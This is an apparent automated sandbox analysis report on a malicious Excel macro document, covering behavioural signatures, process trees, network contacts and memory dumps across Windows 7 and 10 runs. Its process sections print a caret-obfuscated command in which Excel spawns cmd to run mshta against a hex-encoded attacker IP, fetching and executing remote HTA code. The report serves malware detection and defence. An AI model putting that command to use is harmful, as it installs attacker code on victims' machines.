Analysis Overview
SHA256
3fdfa5a3f1a775a9ef22ca81ff29a8881a651d49c1574b3eb417e50c97f9b829
Threat Level: Known bad
The file 3fdfa5a3f1a775a9ef22ca81ff29a8881a651d49c1574b3eb417e50c97f9b829 was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Blocklisted process makes network request
Suspicious Office macro
System Location Discovery: System Language Discovery
Suspicious use of WriteProcessMemory
Checks processor information in registry
Enumerates system info in registry
Suspicious use of SetWindowsHookEx
Modifies Internet Explorer settings
Suspicious behavior: AddClipboardFormatListener
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-11 17:14
Signatures
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-11 17:14
Reported
2024-11-11 17:17
Platform
win7-20240903-en
Max time kernel
122s
Max time network
123s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3004 wrote to memory of 2732 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 3004 wrote to memory of 2732 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 3004 wrote to memory of 2732 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 3004 wrote to memory of 2732 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 2732 wrote to memory of 2540 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2732 wrote to memory of 2540 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2732 wrote to memory of 2540 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2732 wrote to memory of 2540 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\3fdfa5a3f1a775a9ef22ca81ff29a8881a651d49c1574b3eb417e50c97f9b829.xls
C:\Windows\SysWOW64\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
C:\Windows\SysWOW64\mshta.exe
mshta http://0xb907d607/fer/fe2.html
Network
| Country | Destination | Domain | Proto |
| RU | 185.7.214.7:80 | tcp | |
| RU | 185.7.214.7:80 | tcp |
Files
memory/3004-1-0x00000000727CD000-0x00000000727D8000-memory.dmp
memory/3004-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/3004-2-0x00000000727CD000-0x00000000727D8000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-11 17:14
Reported
2024-11-11 17:17
Platform
win10v2004-20241007-en
Max time kernel
133s
Max time network
154s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\mshta.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2056 wrote to memory of 3528 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cmd.exe |
| PID 2056 wrote to memory of 3528 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cmd.exe |
| PID 3528 wrote to memory of 2200 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\system32\mshta.exe |
| PID 3528 wrote to memory of 2200 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\system32\mshta.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\3fdfa5a3f1a775a9ef22ca81ff29a8881a651d49c1574b3eb417e50c97f9b829.xls"
C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
C:\Windows\system32\mshta.exe
mshta http://0xb907d607/fer/fe2.html
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 97.17.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| NL | 52.109.89.19:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 75.209.201.84.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 19.89.109.52.in-addr.arpa | udp |
| RU | 185.7.214.7:80 | tcp | |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 72.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 10.173.189.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 212.20.149.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 98.117.19.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 23.236.111.52.in-addr.arpa | udp |
Files
memory/2056-1-0x00007FFCF26CD000-0x00007FFCF26CE000-memory.dmp
memory/2056-0-0x00007FFCB26B0000-0x00007FFCB26C0000-memory.dmp
memory/2056-2-0x00007FFCB26B0000-0x00007FFCB26C0000-memory.dmp
memory/2056-4-0x00007FFCB26B0000-0x00007FFCB26C0000-memory.dmp
memory/2056-3-0x00007FFCB26B0000-0x00007FFCB26C0000-memory.dmp
memory/2056-6-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp
memory/2056-7-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp
memory/2056-5-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp
memory/2056-10-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp
memory/2056-13-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp
memory/2056-12-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp
memory/2056-14-0x00007FFCAFD50000-0x00007FFCAFD60000-memory.dmp
memory/2056-11-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp
memory/2056-9-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp
memory/2056-15-0x00007FFCAFD50000-0x00007FFCAFD60000-memory.dmp
memory/2056-16-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp
memory/2056-8-0x00007FFCB26B0000-0x00007FFCB26C0000-memory.dmp
memory/2056-27-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp
memory/2056-28-0x00007FFCF26CD000-0x00007FFCF26CE000-memory.dmp
memory/2056-29-0x00007FFCF2630000-0x00007FFCF2825000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | fe1e9a5b99e140ee07a127fa855a8a55 |
| SHA1 | 467775abcdbcb3d1a358a625d2c599efca576d68 |
| SHA256 | 0d21933db71b55923b6b691358d64f7ba60dceec25b1d460ef0ff78044639b6a |
| SHA512 | ccbeda41c63e154a1e5605f04987f2fbb58737d87d742dfbc1d6f3bbdc1ce558d9ad566cca206c7224255e753c5b1278a7f9236b93b4ce82029cb9f2419a1728 |